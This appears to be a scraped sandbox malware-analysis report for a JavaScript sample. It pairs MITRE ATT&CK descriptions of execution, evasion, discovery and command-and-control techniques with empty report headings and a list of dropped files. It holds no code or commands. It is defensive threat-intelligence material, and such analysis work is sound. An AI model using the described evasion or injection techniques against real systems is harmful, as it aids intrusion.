Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7222172992877722612.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a932f2ff-06db-4e2b-a926-dcf6f2023388.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
7222172992877722612.js